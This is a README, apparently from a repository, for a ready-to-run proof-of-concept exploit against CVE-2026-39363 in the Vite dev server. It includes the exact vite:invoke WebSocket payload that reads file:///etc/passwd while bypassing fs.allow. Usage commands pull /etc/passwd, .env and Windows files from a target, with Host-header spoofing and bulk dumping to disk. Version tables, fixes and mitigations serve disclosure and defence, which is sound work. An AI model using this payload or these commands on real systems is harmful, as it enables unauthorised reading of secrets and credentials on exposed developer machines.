
方便实用的CVE-2026-39363利用工具
PoC eseguibile direttamente per GHSA-p9ff-h696-f583. Chiamando fetchModule tramite l'HMR WebSocket non autenticato, aggira la restrizione server.fs.allow a livello HTTP e legge file arbitrari sulla macchina in cui è in esecuzione il dev server.
| Versione | Interessata | Corretta |
|---|---|---|
| Vite 6 | >=6.0.0, <=6.4.1 | 6.4.2 |
| Vite 7 | >=7.0.0, <=7.3.1 | 7.3.2 |
| Vite 8 | >=8.0.0, <=8.0.4 | 8.0.5 |
| vite-plus (branch VoidZero) | <=0.1.15 | 0.1.16 |
Prerequisiti di sfruttamento:
--host / server.host), eserver.ws: false).CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306.
CISA SSVC ha marcato exploitation=poc, automatable=yes.
server.fs.allow (/@fs/<percorso-assoluto> → 403).Sec-WebSocket-Protocol: vite-hmr, e?token= solo se è presente l'header Origin (CWE-306: i client non-browser
possono connettersi direttamente senza inviare l'header Origin).vite:invoke per chiamare il metodo fetchModule
registrato sul server, passando file://<percorso-assoluto>?raw. fetchModule passa direttamente attraverso la pipeline di transform dei moduli, bypassando completamente il controllo fs.allow, e restituisce il contenuto del file come export default "..." (CWE-200).Struttura del messaggio di richiesta vite:invoke (identica in v6/v7/v8):
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "1send",
"data": ["file:///etc/passwd?raw"]
}
}
Il server risponde con id cambiato in 1response; data.data.result.code contiene il contenuto del file.
Richiede solo la libreria standard di Python 3, nessuna dipendenza di terze parti:
# Legge un singolo file (percorso POSIX)
python exp.py http://target:5173 /etc/passwd
# Percorso Windows + lettura di più file
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini
# Salva in una directory (nome file reso sicuro automaticamente in base al percorso)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/
# Dev server HTTPS
python exp.py https://target:5173 /etc/passwd
# Quando il target configura una whitelist di domini allowedHosts, usa IP/localhost come header Host
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173
Parametri:
Il PoC di questo repository è stato testato con successo nei seguenti ambienti (lettura di secret.txt al di fuori della root del dev server,
il percorso HTTP @fs per lo stesso file restituisce 403):
vite --host 0.0.0.0, Windows)Passaggi per la riproduzione (stessa catena del PoC):
# 1. Avvia un dev server vulnerabile esposto alla rete
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173
# 2. Il percorso HTTP è bloccato da fs.allow (atteso 403)
curl -i 'http://target:5173/@fs/<percorso-assoluto-fuori-dalla-root>?raw' # -> 403
# 3. Il percorso WebSocket è leggibile (questo PoC)
python exp.py http://target:5173 <percorso-assoluto-fuori-dalla-root>
vite build + hosting statico, non eseguire vite dev.server.ws: false, oppure aggiungere un reverse proxy che consenta l'accesso
alla porta del dev server solo dalla macchina locale.Da utilizzare esclusivamente in test di penetrazione autorizzati, riproduzione di vulnerabilità e ricerca difensiva. L'utente è responsabile delle conseguenze dell'uso di questo strumento su sistemi altrui senza autorizzazione.
| Parametro | Descrizione |
|---|
url | Target, es. http://192.168.1.10:5173 |
files | Percorsi assoluti da leggere, in stile POSIX o Windows |
--host-header | Header Host falsificato (default: host del target). Di default accetta solo IP/localhost, i domini personalizzati richiedono configurazione esplicita |
--ws-path | Percorso HMR WebSocket, default / (da modificare se il target configura server.hmr.path) |
--timeout | Timeout in secondi per singola richiesta, default 10 |
-o/--output-dir | Salva i contenuti letti in una directory |